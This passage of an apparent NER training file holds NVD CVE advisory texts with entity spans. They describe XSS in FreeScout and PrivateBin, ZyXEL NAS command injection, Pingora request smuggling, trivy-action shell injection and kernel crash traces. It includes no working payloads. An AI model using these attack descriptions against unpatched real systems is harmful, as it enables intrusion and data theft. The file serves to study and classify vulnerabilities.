vulnerability is severe as it allows an attacker to compromise the FreeScout Application. By exploiting this vulnerability, the attacker can perform various malicious actions such as forcing the Administrator to execute actions without their knowledge or consent. For instance, the attacker can force the Administrator to add a new administrator controlled by the attacker, thereby giving the attacker full control over the application. Alternatively, the attacker can elevate the privileges of a low-privileged user to Administrator, further compromising the security of the application. Attackers can steal sensitive information such as login credentials, session tokens, personal identifiable information (PII), and financial data. The vulnerability can also lead to defacement of the Application.\n\nVersion 1.8.128 contains a patch for this issue.", "spans": {"FILEPATH: /conversation/upload": [[954, 974]], "VULNERABILITY: Cross-Site Scripting": [[66, 86]], "VULNERABILITY: Stored XSS": [[215, 225]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-29184"}}
{"text": "PrivateBin is an online pastebin where the server has zero knowledge of pasted data. Starting in version 1.7.7 and prior to version 2.0.3, dragging a file whose filename contains HTML is reflected verbatim into the page via the drag-and-drop helper, so any user who drops a crafted file on PrivateBin will execute arbitrary JavaScript within their own session (self-XSS). This allows an attacker who can entice a victim to drag or otherwise attach such a file to exfiltrate plaintext, encryption keys, or stored pastes before they are encrypted or sent. Certain conditions must exist for the vulnerability to be exploitable. Only macOS or Linux users are affected, due to the way the `>` character is treated in a file name on Windows. The PrivateBin instance needs to have file upload enabled. An attacker needs to have access to the local file system or somehow convince the user to create (or download) a malicious file (name). An attacker needs to convince the user to attach that malicious file to PrivateBin. Any Mac / Linux user who can be tricked into dragging a maliciously named file into the editor is impacted; code runs in the origin of the PrivateBin instance they are using. Attackers can steal plaintext, passphrases, or manipulate the UI before data is encrypted, defeating the zero-knowledge guarantees for that victim session, assuming counter-measures like Content-Security-Policy (CSP) have been disabled. If CSP is not disabled, HTML injection attacks may be possible - like redirecting to a foreign website, phishing etc. As the whole exploit needs to be included in the file name of the attached file and only affects the local session of the user (aka it is neither persistent nor remotely executable) and that user needs to interact and actively attach that file to the paste, the impact is considered to be practically low. Version 2.0.3 patches the issue.", "spans": {"SYSTEM: Windows": [[727, 734]], "SYSTEM: Linux": [[639, 644], [1025, 1030]], "SYSTEM: macOS": [[630, 635]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-64711"}}
{"text": "Issue summary: When a delta CRL that contains a Delta CRL Indicator extension\nis processed a NULL pointer dereference might happen if the required CRL\nNumber extension is missing.\n\nImpact summary: A NULL pointer dereference can trigger a crash which\nleads to a Denial of Service for an application.\n\nWhen CRL processing and delta CRL processing is enabled during X.509\ncertificate verification, the delta CRL processing does not check\nwhether the CRL Number extension is NULL before dereferencing it.\nWhen a malformed delta CRL file is being processed, this parameter\ncan be NULL, causing a NULL pointer dereference.\n\nExploiting this issue requires the X509_V_FLAG_USE_DELTAS flag to be enabled in\nthe verification context, the certificate being verified to contain a\nfreshestCRL extension or the base CRL to have the EXFLAG_FRESHEST flag set, and\nan attacker to provide a malformed CRL to an application that processes it.\n\nThe vulnerability is limited to Denial of Service and cannot be escalated to\nachieve code execution or memory disclosure. For that reason the issue was\nassessed as Low severity according to our Security Policy.\n\nThe FIPS modules in 3.6, 3.5, 3.4, 3.3 and 3.0 are not affected by this issue,\nas the affected code is outside the OpenSSL FIPS module boundary.", "spans": {"SYSTEM: OpenSSL": [[1252, 1259]], "VULNERABILITY: NULL pointer dereference": [[93, 117], [199, 223], [591, 615]], "VULNERABILITY: Denial of Service": [[261, 278], [957, 974]], "VULNERABILITY: code execution": [[1010, 1024]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-28388"}}
{"text": "Multiple ZyXEL network-attached storage (NAS) devices running firmware version 5.21 contain a pre-authentication command injection vulnerability, which may allow a remote, unauthenticated attacker to execute arbitrary code on a vulnerable device. ZyXEL NAS devices achieve authentication by using the weblogin.cgi CGI executable. This program fails to properly sanitize the username parameter that is passed to it. If the username parameter contains certain characters, it can allow command injection with the privileges of the web server that runs on the ZyXEL device. Although the web server does not run as the root user, ZyXEL devices include a setuid utility that can be leveraged to run any command with root privileges. As such, it should be assumed that exploitation of this vulnerability can lead to remote code execution with root privileges. By sending a specially-crafted HTTP POST or GET request to a vulnerable ZyXEL device, a remote, unauthenticated attacker may be able to execute arbitrary code on the device. This may happen by directly connecting to a device if it is directly exposed to an attacker. However, there are ways to trigger such crafted requests even if an attacker does not have direct connectivity to a vulnerable devices. For example, simply visiting a website can result in the compromise of any ZyXEL device that is reachable from the client system. Affected products include: NAS326 before firmware V5.21(AAZF.7)C0 NAS520 before firmware V5.21(AASZ.3)C0 NAS540 before firmware V5.21(AATB.4)C0 NAS542 before firmware V5.21(ABAG.4)C0 ZyXEL has made firmware updates available for NAS326, NAS520, NAS540, and NAS542 devices. Affected models that are end-of-support: NSA210, NSA220, NSA220+, NSA221, NSA310, NSA310S, NSA320, NSA320S, NSA325 and NSA325v2", "spans": {"FILEPATH: weblogin.cgi": [[301, 313]], "VULNERABILITY: remote code execution": [[809, 830]], "VULNERABILITY: command injection": [[113, 130], [483, 500]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-9054"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\npowerpc: Don't try to copy PPR for task with NULL pt_regs\n\npowerpc sets up PF_KTHREAD and PF_IO_WORKER with a NULL pt_regs, which\nfrom my (arguably very short) checking is not commonly done for other\narchs. This is fine, except when PF_IO_WORKER's have been created and\nthe task does something that causes a coredump to be generated. Then we\nget this crash:\n\n  Kernel attempted to read user page (160) - exploit attempt? (uid: 1000)\n  BUG: Kernel NULL pointer dereference on read at 0x00000160\n  Faulting instruction address: 0xc0000000000c3a60\n  Oops: Kernel access of bad area, sig: 11 [#1]\n  LE PAGE_SIZE=64K MMU=Radix SMP NR_CPUS=32 NUMA pSeries\n  Modules linked in: bochs drm_vram_helper drm_kms_helper xts binfmt_misc ecb ctr syscopyarea sysfillrect cbc sysimgblt drm_ttm_helper aes_generic ttm sg libaes evdev joydev virtio_balloon vmx_crypto gf128mul drm dm_mod fuse loop configfs drm_panel_orientation_quirks ip_tables x_tables autofs4 hid_generic usbhid hid xhci_pci xhci_hcd usbcore usb_common sd_mod\n  CPU: 1 PID: 1982 Comm: ppc-crash Not tainted 6.3.0-rc2+ #88\n  Hardware name: IBM pSeries (emulated by qemu) POWER9 (raw) 0x4e1202 0xf000005 of:SLOF,HEAD hv:linux,kvm pSeries\n  NIP:  c0000000000c3a60 LR: c000000000039944 CTR: c0000000000398e0\n  REGS: c0000000041833b0 TRAP: 0300   Not tainted  (6.3.0-rc2+)\n  MSR:  800000000280b033 <SF,VEC,VSX,EE,FP,ME,IR,DR,RI,LE>  CR: 88082828  XER: 200400f8\n  ...\n  NIP memcpy_power7+0x200/0x7d0\n  LR  ppr_get+0x64/0xb0\n  Call Trace:\n    ppr_get+0x40/0xb0 (unreliable)\n    __regset_get+0x180/0x1f0\n    regset_get_alloc+0x64/0x90\n    elf_core_dump+0xb98/0x1b60\n    do_coredump+0x1c34/0x24a0\n    get_signal+0x71c/0x1410\n    do_notify_resume+0x140/0x6f0\n    interrupt_exit_user_prepare_main+0x29c/0x320\n    interrupt_exit_user_prepare+0x6c/0xa0\n    interrupt_return_srr_user+0x8/0x138\n\nBecause ppr_get() is trying to copy from a PF_IO_WORKER with a NULL\npt_regs.\n\nCheck for a valid pt_regs in both ppc_get/ppr_set, and return an error\nif not set. The actual error value doesn't seem to be important here, so\njust pick -EINVAL.\n\n[mpe: Trim oops in change log, add Fixes & Cc stable]", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: IBM": [[1160, 1163]], "VULNERABILITY: NULL pointer dereference": [[516, 540]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-53326"}}
{"text": "An HTTP request smuggling vulnerability (CWE-444) was found in Pingora's handling of HTTP/1.1 connection upgrades. The issue occurs when a Pingora proxy reads a request containing an Upgrade header, causing the proxy to pass through the rest of the bytes on the connection to a backend before the backend has accepted the upgrade. An attacker can thus directly forward a malicious payload after a request with an Upgrade header to that backend in a way that may be interpreted as a subsequent request header, bypassing proxy-level security controls and enabling cross-user session hijacking.\n\nImpact\n\nThis vulnerability primarily affects standalone Pingora deployments where a Pingora proxy is exposed to external traffic. An attacker could exploit this to:\n\n  *  Bypass proxy-level ACL controls and WAF logic\n\n\n\n\n  *  Poison caches and upstream connections, causing subsequent requests from legitimate users to receive responses intended for smuggled requests\n\n\n\n\n  *  Perform cross-user attacks by hijacking sessions or smuggling requests that appear to originate from the trusted proxy IP\n\n\n\n\nCloudflare's CDN infrastructure was not affected by this vulnerability, as ingress proxies in the CDN stack maintain proper HTTP parsing boundaries and do not prematurely switch to upgraded connection forwarding mode.\n\n\nMitigation:\n\nPingora users should upgrade to Pingora v0.8.0 or higher\n\n\nAs a workaround, users may return an error on requests with the Upgrade header present in their request filter logic in order to stop processing bytes beyond the request header and disable downstream connection reuse.", "spans": {"ORGANIZATION: Cloudflare": [[1096, 1106]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-2833"}}
{"text": "Trivy Action runs Trivy as GitHub action to scan a Docker container image for vulnerabilities. A command injection vulnerability exists in `aquasecurity/trivy-action` versions 0.31.0 through 0.33.1 due to improper handling of action inputs when exporting environment variables. The action writes `export VAR=<input>` lines to `trivy_envs.txt` based on user-supplied inputs and subsequently sources this file in `entrypoint.sh`. Because input values are written without appropriate shell escaping, attacker-controlled input containing shell metacharacters (e.g., `$(...)`, backticks, or other command substitution syntax) may be evaluated during the sourcing process. This can result in arbitrary command execution within the GitHub Actions runner context. Version 0.34.0 contains a patch for this issue. The vulnerability is exploitable when a consuming workflow passes attacker-controlled data into any action input that is written to `trivy_envs.txt`. Access to user input is required by the malicious actor. Workflows that do not pass attacker-controlled data into `trivy-action` inputs, workflows that upgrade to a patched version that properly escapes shell values or eliminates the `source ./trivy_envs.txt` pattern, and workflows where user input is not accessible are not affected.", "spans": {"FILEPATH: entrypoint.sh": [[412, 425]], "ORGANIZATION: GitHub": [[27, 33], [725, 731]], "ORGANIZATION: Docker": [[51, 57]], "VULNERABILITY: command injection": [[97, 114]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-26189"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nIB/mlx5: Fix potential deadlock in MR deregistration\n\nThe issue arises when kzalloc() is invoked while holding umem_mutex or\nany other lock acquired under umem_mutex. This is problematic because\nkzalloc() can trigger fs_reclaim_aqcuire(), which may, in turn, invoke\nmmu_notifier_invalidate_range_start(). This function can lead to\nmlx5_ib_invalidate_range(), which attempts to acquire umem_mutex again,\nresulting in a deadlock.\n\nThe problematic flow:\n             CPU0                      |              CPU1\n---------------------------------------|------------------------------------------------\nmlx5_ib_dereg_mr()                     |\n → revoke_mr()                         |\n   → mutex_lock(&umem_odp->umem_mutex) |\n                                       | mlx5_mkey_cache_init()\n                                       |  → mutex_lock(&dev->cache.rb_lock)\n                                       |  → mlx5r_cache_create_ent_locked()\n                                       |    → kzalloc(GFP_KERNEL)\n                                       |      → fs_reclaim()\n                                       |        → mmu_notifier_invalidate_range_start()\n                                       |          → mlx5_ib_invalidate_range()\n                                       |            → mutex_lock(&umem_odp->umem_mutex)\n   → cache_ent_find_and_store()        |\n     → mutex_lock(&dev->cache.rb_lock) |\n\nAdditionally, when kzalloc() is called from within\ncache_ent_find_and_store(), we encounter the same deadlock due to\nre-acquisition of umem_mutex.\n\nSolve by releasing umem_mutex in dereg_mr() after umr_revoke_mr()\nand before acquiring rb_lock. This ensures that we don't hold\numem_mutex while performing memory allocations that could trigger\nthe reclaim path.\n\nThis change prevents the deadlock by ensuring proper lock ordering and\navoiding holding locks during memory allocation operations that could\ntrigger the reclaim path.\n\nThe following lockdep warning demonstrates the deadlock:\n\n python3/20557 is trying to acquire lock:\n ffff888387542128 (&umem_odp->umem_mutex){+.+.}-{4:4}, at:\n mlx5_ib_invalidate_range+0x5b/0x550 [mlx5_ib]\n\n but task is already holding lock:\n ffffffff82f6b840 (mmu_notifier_invalidate_range_start){+.+.}-{0:0}, at:\n unmap_vmas+0x7b/0x1a0\n\n which lock already depends on the new lock.\n\n the existing dependency chain (in reverse order) is:\n\n -> #3 (mmu_notifier_invalidate_range_start){+.+.}-{0:0}:\n       fs_reclaim_acquire+0x60/0xd0\n       mem_cgroup_css_alloc+0x6f/0x9b0\n       cgroup_init_subsys+0xa4/0x240\n       cgroup_init+0x1c8/0x510\n       start_kernel+0x747/0x760\n       x86_64_start_reservations+0x25/0x30\n       x86_64_start_kernel+0x73/0x80\n       common_startup_64+0x129/0x138\n\n -> #2 (fs_reclaim){+.+.}-{0:0}:\n       fs_reclaim_acquire+0x91/0xd0\n       __kmalloc_cache_noprof+0x4d/0x4c0\n       mlx5r_cache_create_ent_locked+0x75/0x620 [mlx5_ib]\n       mlx5_mkey_cache_init+0x186/0x360 [mlx5_ib]\n       mlx5_ib_stage_post_ib_reg_umr_init+0x3c/0x60 [mlx5_ib]\n       __mlx5_ib_add+0x4b/0x190 [mlx5_ib]\n       mlx5r_probe+0xd9/0x320 [mlx5_ib]\n       auxiliary_bus_probe+0x42/0x70\n       really_probe+0xdb/0x360\n       __driver_probe_device+0x8f/0x130\n       driver_probe_device+0x1f/0xb0\n       __driver_attach+0xd4/0x1f0\n       bus_for_each_dev+0x79/0xd0\n       bus_add_driver+0xf0/0x200\n       driver_register+0x6e/0xc0\n       __auxiliary_driver_register+0x6a/0xc0\n       do_one_initcall+0x5e/0x390\n       do_init_module+0x88/0x240\n       init_module_from_file+0x85/0xc0\n       idempotent_init_module+0x104/0x300\n       __x64_sys_finit_module+0x68/0xc0\n       do_syscall_64+0x6d/0x140\n       entry_SYSCALL_64_after_hwframe+0x4b/0x53\n\n -> #1 (&dev->cache.rb_lock){+.+.}-{4:4}:\n       __mutex_lock+0x98/0xf10\n       __mlx5_ib_dereg_mr+0x6f2/0x890 [mlx5_ib]\n       mlx5_ib_dereg_mr+0x21/0x110 [mlx5_ib]\n       ib_dereg_mr_user+0x85/0x1f0 [ib_core]\n  \n---truncated---", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-38373"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet/mlx5e: add missing cpu_to_node to kvzalloc_node in mlx5e_open_xdpredirect_sq\n\nkvzalloc_node is not doing a runtime check on the node argument\n(__alloc_pages_node_noprof does have a VM_BUG_ON, but it expands to\nnothing on !CONFIG_DEBUG_VM builds), so doing any ethtool/netlink\noperation that calls mlx5e_open on a CPU that's larger that MAX_NUMNODES\ntriggers OOB access and panic (see the trace below).\n\nAdd missing cpu_to_node call to convert cpu id to node id.\n\n[  165.427394] mlx5_core 0000:5c:00.0 beth1: Link up\n[  166.479327] BUG: unable to handle page fault for address: 0000000800000010\n[  166.494592] #PF: supervisor read access in kernel mode\n[  166.505995] #PF: error_code(0x0000) - not-present page\n...\n[  166.816958] Call Trace:\n[  166.822380]  <TASK>\n[  166.827034]  ? __die_body+0x64/0xb0\n[  166.834774]  ? page_fault_oops+0x2cd/0x3f0\n[  166.843862]  ? exc_page_fault+0x63/0x130\n[  166.852564]  ? asm_exc_page_fault+0x22/0x30\n[  166.861843]  ? __kvmalloc_node_noprof+0x43/0xd0\n[  166.871897]  ? get_partial_node+0x1c/0x320\n[  166.880983]  ? deactivate_slab+0x269/0x2b0\n[  166.890069]  ___slab_alloc+0x521/0xa90\n[  166.898389]  ? __kvmalloc_node_noprof+0x43/0xd0\n[  166.908442]  __kmalloc_node_noprof+0x216/0x3f0\n[  166.918302]  ? __kvmalloc_node_noprof+0x43/0xd0\n[  166.928354]  __kvmalloc_node_noprof+0x43/0xd0\n[  166.938021]  mlx5e_open_channels+0x5e2/0xc00\n[  166.947496]  mlx5e_open_locked+0x3e/0xf0\n[  166.956201]  mlx5e_open+0x23/0x50\n[  166.963551]  __dev_open+0x114/0x1c0\n[  166.971292]  __dev_change_flags+0xa2/0x1b0\n[  166.980378]  dev_change_flags+0x21/0x60\n[  166.988887]  do_setlink+0x38d/0xf20\n[  166.996628]  ? ep_poll_callback+0x1b9/0x240\n[  167.005910]  ? __nla_validate_parse.llvm.10713395753544950386+0x80/0xd70\n[  167.020782]  ? __wake_up_sync_key+0x52/0x80\n[  167.030066]  ? __mutex_lock+0xff/0x550\n[  167.038382]  ? security_capable+0x50/0x90\n[  167.047279]  rtnl_setlink+0x1c9/0x210\n[  167.055403]  ? ep_poll_callback+0x1b9/0x240\n[  167.064684]  ? security_capable+0x50/0x90\n[  167.073579]  rtnetlink_rcv_msg+0x2f9/0x310\n[  167.082667]  ? rtnetlink_bind+0x30/0x30\n[  167.091173]  netlink_rcv_skb+0xb1/0xe0\n[  167.099492]  netlink_unicast+0x20f/0x2e0\n[  167.108191]  netlink_sendmsg+0x389/0x420\n[  167.116896]  __sys_sendto+0x158/0x1c0\n[  167.125024]  __x64_sys_sendto+0x22/0x30\n[  167.133534]  do_syscall_64+0x63/0x130\n[  167.141657]  ? __irq_exit_rcu.llvm.17843942359718260576+0x52/0xd0\n[  167.155181]  entry_SYSCALL_64_after_hwframe+0x4b/0x53", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-21717"}}
{"text": "LiquidJS is a Shopify / GitHub Pages compatible template engine in pure JavaScript. Prior to 10.25.3, for {% include %}, {% render %}, and {% layout %}, LiquidJS checks whether the candidate path is inside the configured partials or layouts roots before reading it. That check is path-based, not realpath-based. Because of that, a file like partials/link.liquid passes the directory containment check as long as its pathname is under the allowed root. If link.liquid is actually a symlink to a file outside the allowed root, the filesystem follows the symlink when the file is opened and LiquidJS renders the external target. So the restriction is applied to the path string that was requested, not to the file that is actually read. This matters in environments where an attacker can place templates or otherwise influence files under a trusted template root, including uploaded themes, extracted archives, mounted content, or repository-controlled template trees. This vulnerability is fixed in 10.25.3.", "spans": {"ORGANIZATION: GitHub": [[24, 30]], "VULNERABILITY: symlink": [[481, 488], [552, 559]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-35525"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nath11k: free peer for station when disconnect from AP for QCA6390/WCN6855\n\nCommit b4a0f54156ac (\"ath11k: move peer delete after vdev stop of station\nfor QCA6390 and WCN6855\") is to fix firmware crash by changing the WMI\ncommand sequence, but actually skip all the peer delete operation, then\nit lead commit 58595c9874c6 (\"ath11k: Fixing dangling pointer issue upon\npeer delete failure\") not take effect, and then happened a use-after-free\nwarning from KASAN. because the peer->sta is not set to NULL and then used\nlater.\n\nChange to only skip the WMI_PEER_DELETE_CMDID for QCA6390/WCN6855.\n\nlog of user-after-free:\n\n[  534.888665] BUG: KASAN: use-after-free in ath11k_dp_rx_update_peer_stats+0x912/0xc10 [ath11k]\n[  534.888696] Read of size 8 at addr ffff8881396bb1b8 by task rtcwake/2860\n\n[  534.888705] CPU: 4 PID: 2860 Comm: rtcwake Kdump: loaded Tainted: G        W         5.15.0-wt-ath+ #523\n[  534.888712] Hardware name: Intel(R) Client Systems NUC8i7HVK/NUC8i7HVB, BIOS HNKBLi70.86A.0067.2021.0528.1339 05/28/2021\n[  534.888716] Call Trace:\n[  534.888720]  <IRQ>\n[  534.888726]  dump_stack_lvl+0x57/0x7d\n[  534.888736]  print_address_description.constprop.0+0x1f/0x170\n[  534.888745]  ? ath11k_dp_rx_update_peer_stats+0x912/0xc10 [ath11k]\n[  534.888771]  kasan_report.cold+0x83/0xdf\n[  534.888783]  ? ath11k_dp_rx_update_peer_stats+0x912/0xc10 [ath11k]\n[  534.888810]  ath11k_dp_rx_update_peer_stats+0x912/0xc10 [ath11k]\n[  534.888840]  ath11k_dp_rx_process_mon_status+0x529/0xa70 [ath11k]\n[  534.888874]  ? ath11k_dp_rx_mon_status_bufs_replenish+0x3f0/0x3f0 [ath11k]\n[  534.888897]  ? check_prev_add+0x20f0/0x20f0\n[  534.888922]  ? __lock_acquire+0xb72/0x1870\n[  534.888937]  ? find_held_lock+0x33/0x110\n[  534.888954]  ath11k_dp_rx_process_mon_rings+0x297/0x520 [ath11k]\n[  534.888981]  ? rcu_read_unlock+0x40/0x40\n[  534.888990]  ? ath11k_dp_rx_pdev_alloc+0xd90/0xd90 [ath11k]\n[  534.889026]  ath11k_dp_service_mon_ring+0x67/0xe0 [ath11k]\n[  534.889053]  ? ath11k_dp_rx_process_mon_rings+0x520/0x520 [ath11k]\n[  534.889075]  call_timer_fn+0x167/0x4a0\n[  534.889084]  ? add_timer_on+0x3b0/0x3b0\n[  534.889103]  ? lockdep_hardirqs_on_prepare.part.0+0x18c/0x370\n[  534.889117]  __run_timers.part.0+0x539/0x8b0\n[  534.889123]  ? ath11k_dp_rx_process_mon_rings+0x520/0x520 [ath11k]\n[  534.889157]  ? call_timer_fn+0x4a0/0x4a0\n[  534.889164]  ? mark_lock_irq+0x1c30/0x1c30\n[  534.889173]  ? clockevents_program_event+0xdd/0x280\n[  534.889189]  ? mark_held_locks+0xa5/0xe0\n[  534.889203]  run_timer_softirq+0x97/0x180\n[  534.889213]  __do_softirq+0x276/0x86a\n[  534.889230]  __irq_exit_rcu+0x11c/0x180\n[  534.889238]  irq_exit_rcu+0x5/0x20\n[  534.889244]  sysvec_apic_timer_interrupt+0x8e/0xc0\n[  534.889251]  </IRQ>\n[  534.889254]  <TASK>\n[  534.889259]  asm_sysvec_apic_timer_interrupt+0x12/0x20\n[  534.889265] RIP: 0010:_raw_spin_unlock_irqrestore+0x38/0x70\n[  534.889271] Code: 74 24 10 e8 ea c2 bf fd 48 89 ef e8 12 53 c0 fd 81 e3 00 02 00 00 75 25 9c 58 f6 c4 02 75 2d 48 85 db 74 01 fb bf 01 00 00 00 <e8> 13 a7 b5 fd 65 8b 05 cc d9 9c 5e 85 c0 74 0a 5b 5d c3 e8 a0 ee\n[  534.889276] RSP: 0018:ffffc90002e5f880 EFLAGS: 00000206\n[  534.889284] RAX: 0000000000000006 RBX: 0000000000000200 RCX: ffffffff9f256f10\n[  534.889289] RDX: 0000000000000000 RSI: ffffffffa1c6e420 RDI: 0000000000000001\n[  534.889293] RBP: ffff8881095e6200 R08: 0000000000000001 R09: ffffffffa40d2b8f\n[  534.889298] R10: fffffbfff481a571 R11: 0000000000000001 R12: ffff8881095e6e68\n[  534.889302] R13: ffffc90002e5f908 R14: 0000000000000246 R15: 0000000000000000\n[  534.889316]  ? mark_lock+0xd0/0x14a0\n[  534.889332]  klist_next+0x1d4/0x450\n[  534.889340]  ? dpm_wait_for_subordinate+0x2d0/0x2d0\n[  534.889350]  device_for_each_child+0xa8/0x140\n[  534.889360]  ? device_remove_class_symlinks+0x1b0/0x1b0\n[  534.889370]  ? __lock_release+0x4bd/0x9f0\n[  534.889378]  ? dpm_suspend+0x26b/0x3f0\n[  534.889390]  dpm_wait_for_subordinate+\n---truncated---", "spans": {"FILEPATH: /28/2021": [[1081, 1089]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Intel": [[996, 1001]], "VULNERABILITY: use-after-free": [[493, 507], [711, 725]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-49238"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ndmaengine: hisilicon: Add multi-thread support for a DMA channel\n\nWhen we get a DMA channel and try to use it in multiple threads it\nwill cause oops and hanging the system.\n\n% echo 100 > /sys/module/dmatest/parameters/threads_per_chan\n% echo 100 > /sys/module/dmatest/parameters/iterations\n% echo 1 > /sys/module/dmatest/parameters/run\n[383493.327077] Unable to handle kernel paging request at virtual\n\t\taddress dead000000000108\n[383493.335103] Mem abort info:\n[383493.335103]   ESR = 0x96000044\n[383493.335105]   EC = 0x25: DABT (current EL), IL = 32 bits\n[383493.335107]   SET = 0, FnV = 0\n[383493.335108]   EA = 0, S1PTW = 0\n[383493.335109]   FSC = 0x04: level 0 translation fault\n[383493.335110] Data abort info:\n[383493.335111]   ISV = 0, ISS = 0x00000044\n[383493.364739]   CM = 0, WnR = 1\n[383493.367793] [dead000000000108] address between user and kernel\n\t\taddress ranges\n[383493.375021] Internal error: Oops: 96000044 [#1] PREEMPT SMP\n[383493.437574] CPU: 63 PID: 27895 Comm: dma0chan0-copy2 Kdump:\n\t\tloaded Tainted: GO 5.17.0-rc4+ #2\n[383493.457851] pstate: 204000c9 (nzCv daIF +PAN -UAO -TCO -DIT\n\t\t-SSBS BTYPE=--)\n[383493.465331] pc : vchan_tx_submit+0x64/0xa0\n[383493.469957] lr : vchan_tx_submit+0x34/0xa0\n\nThis occurs because the transmission timed out, and that's due\nto data race. Each thread rewrite channels's descriptor as soon as\ndevice_issue_pending is called. It leads to the situation that\nthe driver thinks that it uses the right descriptor in interrupt\nhandler while channels's descriptor has been changed by other\nthread. The descriptor which in fact reported interrupt will not\nbe handled any more, as well as its tx->callback.\nThat's why timeout reports.\n\nWith current fixes channels' descriptor changes it's value only\nwhen it has been used. A new descriptor is acquired from\nvc->desc_issued queue that is already filled with descriptors\nthat are ready to be sent. Threads have no direct access to DMA\nchannel descriptor. In case of channel's descriptor is busy, try\nto submit to HW again when a descriptor is completed. In this case,\nvc->desc_issued may be empty when hisi_dma_start_transfer is called,\nso delete error reporting on this. Now it is just possible to queue\na descriptor for further processing.", "spans": {"FILEPATH: /sys/module/dmatest/parameters/threads_per_chan": [[256, 303]], "FILEPATH: /sys/module/dmatest/parameters/iterations": [[317, 358]], "FILEPATH: /sys/module/dmatest/parameters/run": [[370, 404]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-50362"}}
{"text": "TensorFlow is an end-to-end open source platform for machine learning. The implementation of `MatrixTriangularSolve`(https://github.com/tensorflow/tensorflow/blob/8cae746d8449c7dda5298327353d68613f16e798/tensorflow/core/kernels/linalg/matrix_triangular_solve_op_impl.h#L160-L240) fails to terminate kernel execution if one validation condition fails. The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.", "spans": {"URL: https://github.com/tensorflow/tensorflow/blob/8cae746d8449c7dda5298327353d68613f16e798/tensorflow/core/kernels/linalg/matrix_triangular_solve_op_impl.h#L160-L240": [[117, 278]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-29551"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nbtrfs: fix qgroup reserve overflow the qgroup limit\n\nWe use extent_changeset->bytes_changed in qgroup_reserve_data() to record\nhow many bytes we set for EXTENT_QGROUP_RESERVED state. Currently the\nbytes_changed is set as \"unsigned int\", and it will overflow if we try to\nfallocate a range larger than 4GiB. The result is we reserve less bytes\nand eventually break the qgroup limit.\n\nUnlike regular buffered/direct write, which we use one changeset for\neach ordered extent, which can never be larger than 256M.  For\nfallocate, we use one changeset for the whole range, thus it no longer\nrespects the 256M per extent limit, and caused the problem.\n\nThe following example test script reproduces the problem:\n\n  $ cat qgroup-overflow.sh\n  #!/bin/bash\n\n  DEV=/dev/sdj\n  MNT=/mnt/sdj\n\n  mkfs.btrfs -f $DEV\n  mount $DEV $MNT\n\n  # Set qgroup limit to 2GiB.\n  btrfs quota enable $MNT\n  btrfs qgroup limit 2G $MNT\n\n  # Try to fallocate a 3GiB file. This should fail.\n  echo\n  echo \"Try to fallocate a 3GiB file...\"\n  fallocate -l 3G $MNT/3G.file\n\n  # Try to fallocate a 5GiB file.\n  echo\n  echo \"Try to fallocate a 5GiB file...\"\n  fallocate -l 5G $MNT/5G.file\n\n  # See we break the qgroup limit.\n  echo\n  sync\n  btrfs qgroup show -r $MNT\n\n  umount $MNT\n\nWhen running the test:\n\n  $ ./qgroup-overflow.sh\n  (...)\n\n  Try to fallocate a 3GiB file...\n  fallocate: fallocate failed: Disk quota exceeded\n\n  Try to fallocate a 5GiB file...\n\n  qgroupid         rfer         excl     max_rfer\n  --------         ----         ----     --------\n  0/5           5.00GiB      5.00GiB      2.00GiB\n\nSince we have no control of how bytes_changed is used, it's better to\nset it to u64.", "spans": {"FILEPATH: /bin/bash": [[806, 815]], "FILEPATH: /dev/sdj": [[823, 831]], "FILEPATH: /mnt/sdj": [[838, 846]], "FILEPATH: overflow.sh": [[790, 801], [1350, 1361]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-49075"}}
{"text": "A stored cross-site scripting (XSS) issue in Envira Gallery Lite before 1.8.3.3 allows remote attackers to inject arbitrary JavaScript/HTML code via a POST /wp-admin/admin-ajax.php request with the meta[title] parameter.", "spans": {"IP_ADDRESS: 1.8.3.3": [[72, 79]], "FILEPATH: /wp-admin/admin-ajax.php": [[156, 180]], "VULNERABILITY: cross-site scripting": [[9, 29]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-35581"}}
{"text": "Parse Server is an open source backend that can be deployed to any infrastructure that can run Node.js. Prior to 9.5.2-alpha.5 and 8.6.18, the Keycloak authentication adapter does not validate the azp (authorized party) claim of Keycloak access tokens against the configured client-id. A valid access token issued by the same Keycloak realm for a different client application can be used to authenticate as any user on the Parse Server that uses the Keycloak adapter. This enables cross-application account takeover in multi-client Keycloak realms. All Parse Server deployments that use the Keycloak authentication adapter with a Keycloak realm that has multiple client applications are affected. This vulnerability is fixed in 9.5.2-alpha.5 and 8.6.18.", "spans": {"FILEPATH: Node.js": [[95, 102]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-30949"}}
